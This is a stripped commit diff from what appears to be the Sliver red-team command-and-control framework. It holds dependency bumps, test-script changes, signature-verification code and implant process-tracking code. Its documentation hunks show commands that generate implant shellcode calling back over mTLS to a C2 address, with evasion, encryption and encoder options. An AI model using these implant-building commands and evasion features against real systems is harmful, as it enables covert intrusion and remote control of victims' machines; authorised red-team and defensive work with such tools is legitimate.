if err != nil {
log.Printf("Failed to parse certificate: " + err.Error())
log.Printf("Failed to parse certificate: %v", err)
return err
}
@@ -134,7 +156,7 @@ func RootOnlyVerifyCertificate(caCertificate string, rawCerts [][]byte) error {
panic("no root certificate")
}
if _, err := cert.Verify(options); err != nil {
log.Printf("Failed to verify certificate: " + err.Error())
log.Printf("Failed to verify certificate: %v", err)
return err
}
@@ -15,6 +15,12 @@ The Sliver server has a configuration file located in the `configs` sub-director
"level": 4,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
},
"grpc": {
"keepalive": {
"min_time_seconds": 30,
"permit_without_stream": true
}
}
}
```
@@ -29,6 +35,10 @@ The Sliver server has a configuration file located in the `configs` sub-director
- `level` - The `logrus` logging level (1 - 5), by default this is set to `4`, which is the `INFO` level; increasing this value increases the verbosity of the logs e.g. `DEBUG` is `5` and `SILENT` is `1`
- `grpc_unary_payloads` - Log gRPC unary payloads
- `grpc_stream_payloads` - Log gRPC streaming payloads
- `grpc` - An object containing options for the server gRPC stack
- `keepalive` - gRPC keepalive enforcement configuration
- `min_time_seconds` - Minimum amount of time (in seconds) between client pings before the server sends a GOAWAY with `too_many_pings`
- `permit_without_stream` - Allow client pings when there are no active streams
## Database Configuration
@@ -1,4 +1,4 @@
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you only need cross-compilers when using `--format shared`.
**NOTE:** Any platform can cross-compile a standalone executable to any other platform out of the box; you primarily need cross-compilers when using CGO-based formats like `--format shared`, and for `--format shellcode` on macOS/Linux.
Sliver can tell you which platforms it can likely target based on the server's platform and available cross-compilers by running the `generate info` command in the console.
@@ -37,7 +37,7 @@ Sliver automatically looks in the default paths for these cross-compilers; once
## From MacOS to Linux/Windows
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects do not require mingw-w64 or musl-cross.
Sliver embeds a Zig cross-compiler out of the box, so Windows DLLs and Linux shared objects/shellcode do not require mingw-w64 or musl-cross.
However, we're not aware of any good options to target 32-bit Linux from MacOS. Sliver automatically looks in the default paths for these cross-compilers; once installed simply use the `generate` command with the desired `--os` and `--arch`, check `~/.sliver/logs/sliver.log` for build errors. You can override any cross-compiler location via the appropriate [environment variables](/docs?name=Environment+Variables).
@@ -19,6 +19,12 @@ $ cat ~/.sliver/configs/server.json
"level": 5,
"grpc_unary_payloads": false,
"grpc_stream_payloads": false
},
"grpc": {
"keepalive": {
"min_time_seconds": 30,
"permit_without_stream": true
}
}
}
```
@@ -47,6 +47,7 @@ sliver > builders
=============================== ========== =========== ============== ==========================
molochs-MacBook-Pro-111.local moloch sliver darwin/arm64 EXECUTABLE:linux/386
EXECUTABLE:linux/amd64
EXECUTABLE:linux/arm64
EXECUTABLE:windows/386
EXECUTABLE:windows/amd64
EXECUTABLE:darwin/amd64
@@ -56,10 +57,14 @@ sliver > builders
SHARED_LIB:darwin/amd64
SHARED_LIB:darwin/arm64
SHARED_LIB:linux/amd64
SHARED_LIB:linux/arm64
SERVICE:windows/386
SERVICE:windows/amd64
SHELLCODE:windows/386
SHELLCODE:windows/amd64
SHELLCODE:darwin/arm64
SHELLCODE:linux/amd64
SHELLCODE:linux/arm64
```
Use the `--external-builder` flag to offload a `generate` or `generate beacon` command onto an external builder:
@@ -39,7 +39,7 @@
- [Viber](/docs?name=Notifications#viber)
- [Web Push](/docs?name=Notifications#web-push)
- [WeChat](/docs?name=Notifications#wechat)
- [WhatsApp](/docs?name=Notifications#whatsapp)
- [WhatsApp](/docs?name=Notifications#whatsapp)
- [Custom Templates](/docs?name=Notifications#custom-templates)
- [Notes](/docs?name=Notifications#notes)
+30 -1
View File
@@ -1,4 +1,4 @@
**⚠️ Important:** You must have MinGW installed on your Sliver server to get some staged (e.g., Windows DLLs) payloads to work.
**⚠️ Important:** Some staged payloads require a working cross-compiler toolchain on the Sliver server (especially shared libraries and non-native targets). Sliver bundles a Zig toolchain for many Windows/Linux targets, but macOS shared library/shellcode builds require osxcross.
## Overview
@@ -33,6 +33,35 @@ Name Platform Command & Control Debug Format
win-shellcode windows/amd64 [1] mtls://192.168.122.1:8888 false SHELLCODE enabled
```
Shellcode generation varies by platform:
- Windows shellcode uses Donut and supports all shellcode tuning flags below.
- macOS (darwin/arm64) and Linux (amd64/arm64) shellcode currently only support `--shellcode-compress`; other `--shellcode-*` options are Windows-only.
Shellcode options:
- `--shellcode-encoder`: apply an optional shellcode encoder (see: `shellcode-encoders`)
- `--shellcode-compress`: enable/disable aPLib compression (boolean) (Windows, macOS, Linux)
- `--shellcode-entropy`: 1=none, 2=random names, 3=random+encrypt (Windows only)
- `--shellcode-exitopt`: 1=exit thread, 2=exit process, 3=block (Windows only)
- `--shellcode-bypass`: 1=none, 2=abort on failure, 3=continue (Windows only)
- `--shellcode-headers`: 1=overwrite, 2=keep (Windows only)
- `--shellcode-thread`: run unmanaged EXE entrypoint as a new thread (boolean) (Windows only)
- `--shellcode-unicode`: pass Unicode command line to unmanaged DLL entrypoints (boolean) (Windows only)
- `--shellcode-oep`: override original entry point (uint32, 0=default) (Windows only)
Example:
```
sliver > profiles new --mtls 192.168.122.1 --format shellcode --shellcode-entropy 2 --shellcode-compress --shellcode-exitopt 3 win-shellcode
```
Linux example (compression only):
```
sliver > profiles new --os linux --arch amd64 --mtls 192.168.122.1 --format shellcode --shellcode-compress linux-shellcode
```
We can now create a staging listener and link it to the profile:
```
@@ -138,7 +138,7 @@
[14.179375, "o", "\u001b[214D\u001b[24C\u001b[0J\u001b[214D\r\r\n"]
[14.182566, "o", "\u001b[0 q\r\n"]
[14.190363, "o", "\u001b[1mCommand:\u001b[0m new <options> <profile name>\r\n\u001b[1mAbout:\u001b[0m Create a new profile with a given name and options, a name is required.\r\n\r\n\u001b[1m\u001b[4m++ Profiles ++\u001b[0m\r\nProfiles are an easy way to save an implant configuration and easily generate multiple copies of the binary with the same\r\nsettings. Generated implants will still have per-binary certificates/obfuscation/etc. This command is used with \"profiles generate\":\r\n\tprofiles new --mtls foo.example.com --canary 1.foobar.com my-profile-name\r\n\tprofiles generate my-profile-name\r\n\r\n"]
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
[14.198714, "o", "Usage:\r\n profiles new [flags]\r\n profiles new [command]\r\n\r\nAvailable Commands:\r\n beacon Create a new implant profile (beacon)\r\n\r\nFlags:\r\n -a, --arch string cpu architecture (default \"amd64\")\r\n -C, --c2profile string HTTP C2 profile to use (default \"default\")\r\n -c, --canary string canary domain(s)\r\n -d, --debug enable debug features\r\n -O, --debug-file string path to debug output\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -n, --dns string dns connection strings\r\n -e, --evasion enable evasion features (e.g. overwrite user space hooks)\r\n -E, --external-builder use an external builder\r\n -f, --format psexec Specifies the output formats, valid values are: 'exe', 'shared' (for dynamic libraries), 'service' (see: psexec for more info) and 'shellcode' (windows only) (default \"exe\")\r\n -h, --help help for new\r\n -b, --http string "]
[14.200627, "o", " http(s) connection strings\r\n -X, --key-exchange uint32 wg key-exchange port (default 1337)\r\n -w, --limit-datetime string limit execution to before datetime\r\n -x, --limit-domainjoined limit execution to domain joined machines\r\n -F, --limit-fileexists string limit execution to hosts with this file in the filesystem\r\n -z, --limit-hostname string limit execution to specified hostname\r\n -L, --limit-locale string limit execution to hosts that match this locale\r\n -y, --limit-username string limit execution to specified username\r\n -k, --max-errors uint32 max number of connection errors (default 1000)\r\n -m, --mtls string mtls connection strings\r\n -N, --name string agent name\r\n -p, --named-pipe string named-pipe connection strings\r\n -q, --netgo force the use of netgo\r\n -o, --os string operating system (default \"windows\")\r\n -P, --poll-timeout int long poll request timeout (d"]
[14.201749, "o", "efault 360)\r\n -j, --reconnect int attempt to reconnect every n second(s) (default 60)\r\n -R, --run-at-load run the implant entrypoint from DllMain/Constructor (shared library only)\r\n -s, --save string directory/file to the binary to\r\n -l, --skip-symbols skip symbol obfuscation\r\n -Z, --strategy string specify a connection strategy (r = random, rd = random domain, s = sequential)\r\n -T, --tcp-comms uint32 wg c2 comms port (default 8888)\r\n -i, --tcp-pivot string tcp-pivot connection strings\r\n -I, --template string implant code template (default \"sliver\")\r\n -A, --traffic-encoders string comma separated list of traffic encoders to enable\r\n -g, --wg string wg connection strings\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\nUse \" profiles new [command] --help\" for more information about a command.\r\n\r\n"]
[14.21267, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
@@ -623,7 +623,7 @@
[44.607989, "o", "\u001b[214D\u001b[27C\u001b[0J\u001b[214D\r\r\n"]
[44.608789, "o", "\u001b[0 q\r\n"]
[44.626856, "o", "Error: accepts 1 arg(s), received 0\r\n"]
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n -G, --disable-sgn disable shikata ga nai shellcode encoder\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
[44.629236, "o", "Usage:\r\n profiles generate [flags]\r\n\r\nFlags:\r\n --shellcode-encoder string shellcode encoder to apply (optional; see shellcode-encoders)\r\n -h, --help help for generate\r\n -s, --save string directory/file to the binary to\r\n\r\nGlobal Flags:\r\n -t, --timeout int grpc timeout in seconds (default 60)\r\n\r\n"]
[44.630687, "o", "\r\n"]
[44.6392, "o", "\r\u001b[2K\u001b[4msliver\u001b[0m > "]
[44.639589, "o", "\u001b[1 q\u001b[?25l\u001b[214D\r\u001b[2K\u001b[4msliver\u001b[0m > \u001b[6n"]
+37 -2
View File
@@ -98,6 +98,13 @@ else
exit 1
fi
# implant / sliver / transports / wireguard
if go test ./implant/sliver/transports/wireguard ; then
:
else
exit 1
fi
## Server
# server / assets / traffic encoders
@@ -146,8 +153,16 @@ else
exit 1
fi
# server / sgn
if go test -tags=server,$TAGS ./server/sgn ; then
# server / encoders / shellcode / sgn
if go test -tags=server,$TAGS ./server/encoders/shellcode/sgn ; then
:
else
cat ~/.sliver/logs/sliver.log
exit 1
fi
# server / encoders / shellcode / arm64
if go test -tags=server,$TAGS ./server/encoders/shellcode/arm64 ; then
:
else
cat ~/.sliver/logs/sliver.log
@@ -178,6 +193,26 @@ else
exit 1
fi
# server / c2 / e2e (mtls + wg + yamux)
SLIVER_ROOT_DIR_E2E="$(mktemp -d)"
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'Test(MTLS|WG)Yamux_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
# server / c2 / e2e (dns)
if SLIVER_ROOT_DIR="$SLIVER_ROOT_DIR_E2E" go test -tags=server,$TAGS,sliver_e2e ./server/c2 -run 'TestDNS_' -count=1 ; then
:
else
cat "$SLIVER_ROOT_DIR_E2E/logs/sliver.log" 2>/dev/null || true
rm -rf "$SLIVER_ROOT_DIR_E2E"
exit 1
fi
rm -rf "$SLIVER_ROOT_DIR_E2E"
# server / configs
if go test -tags=server,$TAGS ./server/configs ; then
:
+10 -6
View File
@@ -1,6 +1,6 @@
module github.com/bishopfox/sliver
go 1.25.5
go 1.25.6
replace github.com/rsteube/carapace v0.36.3 => github.com/reeflective/carapace v0.46.3-0.20231214181515-27e49f3c3b69
@@ -12,11 +12,11 @@ require (
filippo.io/age v1.3.1
github.com/Binject/binjection v0.0.0-20210701074423-605d46e35deb
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
github.com/Ne0nd0g/go-clr v1.0.3
github.com/SherClockHolmes/webpush-go v1.4.0
github.com/alecthomas/chroma v0.10.0
github.com/alecthomas/chroma/v2 v2.23.1
github.com/charmbracelet/huh v0.8.0
github.com/charmbracelet/huh/spinner v0.0.0-20251215014908-6f7d32faaff3
github.com/charmbracelet/lipgloss v1.1.0
@@ -30,6 +30,7 @@ require (
github.com/google/uuid v1.6.0
github.com/gorilla/mux v1.8.1
github.com/grpc-ecosystem/go-grpc-middleware v1.4.0
github.com/hashicorp/yamux v0.1.2
github.com/jedib0t/go-pretty/v6 v6.7.8
github.com/kbinani/screenshot v0.0.0-20250624051815-089614a94018
github.com/klauspost/compress v1.18.1
@@ -46,6 +47,9 @@ require (
github.com/reeflective/readline v1.1.4
github.com/rsteube/carapace v0.50.2
github.com/sirupsen/logrus v1.9.3
github.com/sliverarmory/beignet v0.0.2
github.com/sliverarmory/malasada v0.0.2
github.com/sliverarmory/wasm-donut v0.0.3
github.com/spf13/cobra v1.10.2
github.com/spf13/pflag v1.0.10
github.com/stretchr/testify v1.11.1
@@ -219,9 +223,9 @@ require (
github.com/carapace-sh/carapace-shlex v1.1.1 // indirect
github.com/catppuccin/go v0.3.0 // indirect
github.com/charmbracelet/bubbles v0.21.1-0.20250623103423-23b8fd6302d7 // indirect
github.com/charmbracelet/bubbletea v1.3.10 // indirect
github.com/charmbracelet/bubbletea v1.3.10
github.com/charmbracelet/colorprofile v0.2.3-0.20250311203215-f60798e515dc // indirect
github.com/charmbracelet/x/ansi v0.10.1 // indirect
github.com/charmbracelet/x/ansi v0.10.1
github.com/charmbracelet/x/cellbuf v0.0.13 // indirect
github.com/charmbracelet/x/exp/strings v0.0.0-20240722160745-212f7b056ed0 // indirect
github.com/charmbracelet/x/term v0.2.1 // indirect
@@ -273,7 +277,7 @@ require (
github.com/mdlayher/socket v0.5.1 // indirect
github.com/mitchellh/go-ps v1.0.0 // indirect
github.com/mitchellh/hashstructure/v2 v2.0.2 // indirect
github.com/moloch--/go-keystone v0.0.2 // indirect
github.com/moloch--/go-keystone v0.0.2
github.com/muesli/ansi v0.0.0-20230316100256-276c6243b2f6 // indirect
github.com/muesli/cancelreader v0.2.2 // indirect
github.com/muesli/termenv v0.16.0 // indirect
@@ -300,7 +304,7 @@ require (
go4.org/netipx v0.0.0-20231129151722-fdeea329fbba // indirect
golang.org/x/oauth2 v0.34.0 // indirect
golang.org/x/sync v0.19.0 // indirect
golang.org/x/time v0.14.0 // indirect
golang.org/x/time v0.14.0
golang.org/x/tools v0.40.0 // indirect
golang.zx2c4.com/wintun v0.0.0-20230126152724-0fa3db229ce2 // indirect
golang.zx2c4.com/wireguard/windows v0.5.3 // indirect
+16 -3
View File
@@ -43,8 +43,6 @@ github.com/Binject/debug v0.0.0-20210225042342-c9b8b45728d2/go.mod h1:QzgxDLY/qd
github.com/Binject/debug v0.0.0-20210312092933-6277045c2fdf/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a h1:4c0nc0krv8eh7gD809n+swLaCuFyHpxdrxwx0ZmHvBw=
github.com/Binject/debug v0.0.0-20230508195519-26db73212a7a/go.mod h1:QzgxDLY/qdKlvnbnb65eqTedhvQPbaSP2NqIbcuKvsQ=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e h1:ytVmxGQuS7ELO/WpvH6iuY1hVcJ6iOTw3VLOOIFlo8o=
github.com/Binject/go-donut v0.0.0-20210701074227-67a31e2d883e/go.mod h1:dc3mUnr4KTKcFKVq7BVbHGF0xAHrIyooQ+VTO7/bIZw=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563 h1:T8z8Wz/fqaPPANF8Unv4LjWLoa0TAvsjYAsRpvSkOqs=
github.com/Binject/shellcode v0.0.0-20191101084904-a8a90e7d4563/go.mod h1:HMbzsKPz1sF7H4Hmeovh+d2PH2iKPYpAB4XMOVz8wmM=
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0 h1:1sdnMvqxxlMXsu8ku/Xrh6gi3V40ykksst5fd0lfWnc=
@@ -84,8 +82,14 @@ github.com/VividCortex/ewma v1.2.0/go.mod h1:nz4BbCtbLyFDeC9SUHbtcT5644juEuWfUAU
github.com/akamensky/argparse v1.3.0/go.mod h1:S5kwC7IuDcEr5VeXtGPRVZ5o/FdhcMlQz4IZQuw64xA=
github.com/akutz/memconn v0.1.0 h1:NawI0TORU4hcOMsMr11g7vwlCdkYeLKXBcxWu2W/P8A=
github.com/akutz/memconn v0.1.0/go.mod h1:Jo8rI7m0NieZyLI5e2CDlRdRqRRB4S7Xp77ukDjH+Fw=
github.com/alecthomas/assert/v2 v2.11.0 h1:2Q9r3ki8+JYXvGsDyBXwH3LcJ+WK5D0gc5E8vS6K3D0=
github.com/alecthomas/assert/v2 v2.11.0/go.mod h1:Bze95FyfUr7x34QZrjL+XP+0qgp/zg8yS+TtBj1WA3k=
github.com/alecthomas/chroma v0.10.0 h1:7XDcGkCQopCNKjZHfYrNLraA+M7e0fMiJ/Mfikbfjek=
github.com/alecthomas/chroma v0.10.0/go.mod h1:jtJATyUxlIORhUOFNA9NZDWGAQ8wpxQQqNSB4rjA/1s=
github.com/alecthomas/chroma/v2 v2.23.1 h1:nv2AVZdTyClGbVQkIzlDm/rnhk1E9bU9nXwmZ/Vk/iY=
github.com/alecthomas/chroma/v2 v2.23.1/go.mod h1:NqVhfBR0lte5Ouh3DcthuUCTUpDC9cxBOfyMbMQPs3o=
github.com/alecthomas/repr v0.5.2 h1:SU73FTI9D1P5UNtvseffFSGmdNci/O6RsqzeXJtP0Qs=
github.com/alecthomas/repr v0.5.2/go.mod h1:Fr0507jx4eOXV7AlPV6AVZLYrLIuIeSOWtW57eE/O/4=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e h1:4dAU9FXIyQktpoUAgOJK3OTFc/xug0PCXYCqU0FgDKI=
github.com/alexbrainman/sspi v0.0.0-20250919150558-7d374ff0d59e/go.mod h1:cEWa1LVoE5KvSD9ONXsZrj0z6KqySlCCNKHlLzbqAt4=
github.com/alicebob/gopher-json v0.0.0-20200520072559-a9ecdc9d1d3a h1:HbKu58rmZpUGpz5+4FfNmIU+FmZg2P3Xaj2v2bfNWmk=
@@ -397,7 +401,6 @@ github.com/google/pprof v0.0.0-20250317173921-a4b03ec1a45e/go.mod h1:boTsfXsheKC
github.com/google/s2a-go v0.1.9 h1:LGD7gtMgezd8a/Xak7mEWL0PjoTQFvpRudN895yqKW0=
github.com/google/s2a-go v0.1.9/go.mod h1:YA0Ei2ZQL3acow2O62kdp9UlnvMmU7kA6Eutn0dXayM=
github.com/google/uuid v0.0.0-20171113160352-8c31c18f31ed/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.2.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/google/uuid v1.6.0 h1:NIvaJDMOsjHA8n1jAhLSgzrAzy1Hgr+hNrb57e+94F0=
github.com/google/uuid v1.6.0/go.mod h1:TIyPZe4MgqvfeYDBFedMoGGpEw/LqOeaOT+nhxU+yHo=
github.com/googleapis/enterprise-certificate-proxy v0.3.7 h1:zrn2Ee/nWmHulBx5sAVrGgAa0f2/R35S4DJwfFaUPFQ=
@@ -420,8 +423,12 @@ github.com/h2non/parth v0.0.0-20190131123155-b4df798d6542/go.mod h1:Ow0tF8D4Kplb
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/go-uuid v1.0.3 h1:2gKiV6YVmrJ1i2CKKa9obLvRieoRGviZFL26PcT/Co8=
github.com/hashicorp/go-uuid v1.0.3/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
github.com/hdevalence/ed25519consensus v0.2.0 h1:37ICyZqdyj0lAZ8P4D1d1id3HqbbG1N3iBb1Tb4rdcU=
github.com/hdevalence/ed25519consensus v0.2.0/go.mod h1:w3BHWjwJbFU29IRHL1Iqkw3sus+7FctEyM4RqDxYNzo=
github.com/hexops/gotextdiff v1.0.3 h1:gitA9+qJrrTCsiCl7+kh75nPqQt1cx4ZkudSTLoUqJM=
github.com/hexops/gotextdiff v1.0.3/go.mod h1:pSWU5MAI3yDq+fZBTazCSJysOMbxWL1BSow5/V2vxeg=
github.com/hpcloud/tail v1.0.0/go.mod h1:ab1qPbhIpdTxEkNHXyeSf5vhxWSCs/tWer42PpOxQnU=
github.com/ianlancetaylor/demangle v0.0.0-20200824232613-28f6c0f3b639/go.mod h1:aSSvb/t6k1mPoxDqO4vJh6VOCGPwU4O0C2/Eqndh1Sc=
github.com/illarion/gonotify/v3 v3.0.2 h1:O7S6vcopHexutmpObkeWsnzMJt/r1hONIEogeVNmJMk=
@@ -656,6 +663,12 @@ github.com/sirupsen/logrus v1.9.3 h1:dueUQJ1C2q9oE3F7wvmSGAaVtTmUizReu6fjN8uqzbQ
github.com/sirupsen/logrus v1.9.3/go.mod h1:naHLuLoDiP4jHNo9R0sCBMtWGeIprob74mVsIT4qYEQ=
github.com/slack-go/slack v0.17.3 h1:zV5qO3Q+WJAQ/XwbGfNFrRMaJ5T/naqaonyPV/1TP4g=
github.com/slack-go/slack v0.17.3/go.mod h1:X+UqOufi3LYQHDnMG1vxf0J8asC6+WllXrVrhl8/Prk=
github.com/sliverarmory/beignet v0.0.2 h1:kUpztl/yEKp/U3FFulguC7r+qKjmBIg0AwLKJnZpDVA=
github.com/sliverarmory/beignet v0.0.2/go.mod h1:xXfTKBJqFBY/pakRFwJ+5+oGiSlg2CiCVUg/76kW1H4=
github.com/sliverarmory/malasada v0.0.2 h1:X2+7dNGPWfm4ijsr/rMvZlIMalskdCVpBZUYs50RHIA=
github.com/sliverarmory/malasada v0.0.2/go.mod h1:F96IgTOoX72FU995F+Jip0ni8Z5sXiYOwfmlRGobJkQ=
github.com/sliverarmory/wasm-donut v0.0.3 h1:sldbfAsz1YziULlhDKpU3DY/+/dAfv5gl26qSqHIpzE=
github.com/sliverarmory/wasm-donut v0.0.3/go.mod h1:D6OLBZBfFm2Tk857vqGqFS9uUi4CXqnqHxKqtONllVk=
github.com/sony/sonyflake v1.0.0 h1:MpU6Ro7tfXwgn2l5eluf9xQvQJDROTBImNCfRXn/YeM=
github.com/sony/sonyflake v1.0.0/go.mod h1:Jv3cfhf/UFtolOTTRd3q4Nl6ENqM+KfyZ5PseKfZGF4=
github.com/spf13/cast v1.4.1/go.mod h1:Qx5cxh0v+4UWYiBimWS+eyWzqEqokIECu5etghLkUJE=
+1
View File
@@ -7,6 +7,7 @@ require (
github.com/Binject/universal v0.0.0-20220519011857-bea739e758c0
github.com/Ne0nd0g/go-clr v1.0.3
github.com/gofrs/uuid v4.0.0+incompatible
github.com/hashicorp/yamux v0.1.2
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f
github.com/lesnuages/go-winio v0.4.19
github.com/miekg/dns v1.1.50
+2
View File
@@ -27,6 +27,8 @@ github.com/google/go-cmp v0.6.0 h1:ofyhxvXcZhMsU5ulbFiLKl/XBFqE1GSq7atu8tAmTRI=
github.com/google/go-cmp v0.6.0/go.mod h1:17dUlkBOakJ0+DkrSSNjCkIjxS6bF9zb3elmeNGIjoY=
github.com/hashicorp/go-uuid v1.0.2 h1:cfejS+Tpcp13yd5nYHWDI6qVCny6wyX2Mt5SGur2IGE=
github.com/hashicorp/go-uuid v1.0.2/go.mod h1:6SBZvOh/SIDV7/2o3Jml5SYk/TvGqwFJ/bN7x4byOro=
github.com/hashicorp/yamux v0.1.2 h1:XtB8kyFOyHXYVFnwT5C3+Bdo8gArse7j2AQ0DA0Uey8=
github.com/hashicorp/yamux v0.1.2/go.mod h1:C+zze2n6e/7wshOZep2A70/aQU6QBRWJO/G6FT1wIns=
github.com/jcmturner/gofork v1.0.0 h1:J7uCkflzTEhUZ64xqKnkDxq3kzc96ajM1Gli5ktUem8=
github.com/jcmturner/gofork v1.0.0/go.mod h1:MK8+TM0La+2rjBD4jE12Kj1pCCxK7d2LK/UM3ncEo0o=
github.com/kbinani/screenshot v0.0.0-20191211154542-3a185f1ce18f h1:5hWo+DzJQSOBl6X+TDac0SPWffRonuRJ2///OYtYRT8=
@@ -0,0 +1,43 @@
package cryptography
import (
"encoding/binary"
"golang.org/x/crypto/blake2b"
"golang.org/x/crypto/ed25519"
)
// MinisignVerifyRaw - Verify a fixed-length raw minisign signature (binary) using
// the server's bundled minisign public key.
func MinisignVerifyRaw(message []byte, rawSig []byte) bool {
if len(rawSig) != RawSigSize {
return false
}
serverPublicKey, err := DecodeMinisignPublicKey(serverMinisignPublicKey)
if err != nil {
return false
}
algorithm := binary.LittleEndian.Uint16(rawSig[:2])
keyID := binary.LittleEndian.Uint64(rawSig[2:10])
if keyID != serverPublicKey.ID() {
return false
}
switch algorithm {
case EdDSA:
// Verify as-is.
case HashEdDSA:
digest := blake2b.Sum512(message)
message = digest[:]
default:
return false
}
signature := rawSig[10:]
if len(signature) != ed25519.SignatureSize {
return false
}
return ed25519.Verify(ed25519.PublicKey(serverPublicKey.PublicKey[:]), message, signature)
}
+204
View File
@@ -0,0 +1,204 @@
package handlers
import (
"os"
"os/exec"
"sort"
"sync"
"time"
// {{if .Config.Debug}}
"log"
// {{end}}
"github.com/bishopfox/sliver/protobuf/commonpb"
"github.com/bishopfox/sliver/protobuf/sliverpb"
"google.golang.org/protobuf/proto"
)
const (
maxTrackedExecuteChildren = 256
)
type executeChildEntry struct {
PID int32
Path string
Args []string
Stdout string
Stderr string
StartTime int64
Exited bool
ExitCode int32
ExitTime int64
Error string
cmd *exec.Cmd
}
var (
executeChildrenMu sync.RWMutex
trackedExecuteChildren = map[int32]*executeChildEntry{}
)
func trimTrackedExecuteChildrenLocked() {
if len(trackedExecuteChildren) <= maxTrackedExecuteChildren {
return
}
// Prefer trimming completed entries first, oldest exit time first.
exited := make([]*executeChildEntry, 0, len(trackedExecuteChildren))
for _, entry := range trackedExecuteChildren {
if entry.Exited {
exited = append(exited, entry)
}
}
sort.Slice(exited, func(i, j int) bool {
return exited[i].ExitTime < exited[j].ExitTime
})
for len(trackedExecuteChildren) > maxTrackedExecuteChildren && 0 < len(exited) {
delete(trackedExecuteChildren, exited[0].PID)
exited = exited[1:]
}
}
func startExecuteChild(cmd *exec.Cmd, track bool, path string, args []string, stdoutPath string, stderrPath string) (int32, error) {
var (
stdoutFile *os.File
stderrFile *os.File
err error
)
startTime := time.Now().Unix()
if stdoutPath != "" {
stdoutFile, err = os.Create(stdoutPath)
if err != nil {
return 0, err
}
cmd.Stdout = stdoutFile
}
if stderrPath != "" {
stderrFile, err = os.Create(stderrPath)
if err != nil {
if stdoutFile != nil {
stdoutFile.Close()
}
return 0, err
}
cmd.Stderr = stderrFile
}
err = cmd.Start()
if err != nil {
if stdoutFile != nil {
stdoutFile.Close()
}
if stderrFile != nil {
stderrFile.Close()
}
return 0, err
}
var pid int32
if cmd.Process != nil {
pid = int32(cmd.Process.Pid)
}
if track && pid != 0 {
entry := &executeChildEntry{
PID: pid,
Path: path,
Args: append([]string(nil), args...),
Stdout: stdoutPath,
Stderr: stderrPath,
StartTime: startTime,
cmd: cmd,
}
executeChildrenMu.Lock()
trackedExecuteChildren[pid] = entry
trimTrackedExecuteChildrenLocked()
executeChildrenMu.Unlock()
}
go func(pid int32, cmd *exec.Cmd, stdoutFile *os.File, stderrFile *os.File, track bool) {
waitErr := cmd.Wait()
exitCode := int32(0)
waitErrStr := ""
if waitErr != nil {
if exitErr, ok := waitErr.(*exec.ExitError); ok {
exitCode = int32(exitErr.ExitCode())
} else {
exitCode = -1
waitErrStr = waitErr.Error()
}
}
if track && pid != 0 {
executeChildrenMu.Lock()
entry := trackedExecuteChildren[pid]
if entry != nil {
entry.Exited = true
entry.ExitCode = exitCode
entry.ExitTime = time.Now().Unix()
entry.Error = waitErrStr
entry.cmd = nil
}
executeChildrenMu.Unlock()
}
if stdoutFile != nil {
stdoutFile.Close()
}
if stderrFile != nil {
stderrFile.Close()
}
}(pid, cmd, stdoutFile, stderrFile, track)
return pid, nil
}
func snapshotExecuteChildren() []*sliverpb.ExecuteChild {
executeChildrenMu.RLock()
children := make([]*sliverpb.ExecuteChild, 0, len(trackedExecuteChildren))
for _, entry := range trackedExecuteChildren {
children = append(children, &sliverpb.ExecuteChild{
Pid: entry.PID,
Path: entry.Path,
Args: append([]string(nil), entry.Args...),
StartTime: entry.StartTime,
Exited: entry.Exited,
ExitCode: entry.ExitCode,
ExitTime: entry.ExitTime,
Stdout: entry.Stdout,
Stderr: entry.Stderr,
Error: entry.Error,
})
}
executeChildrenMu.RUnlock()
sort.Slice(children, func(i, j int) bool {
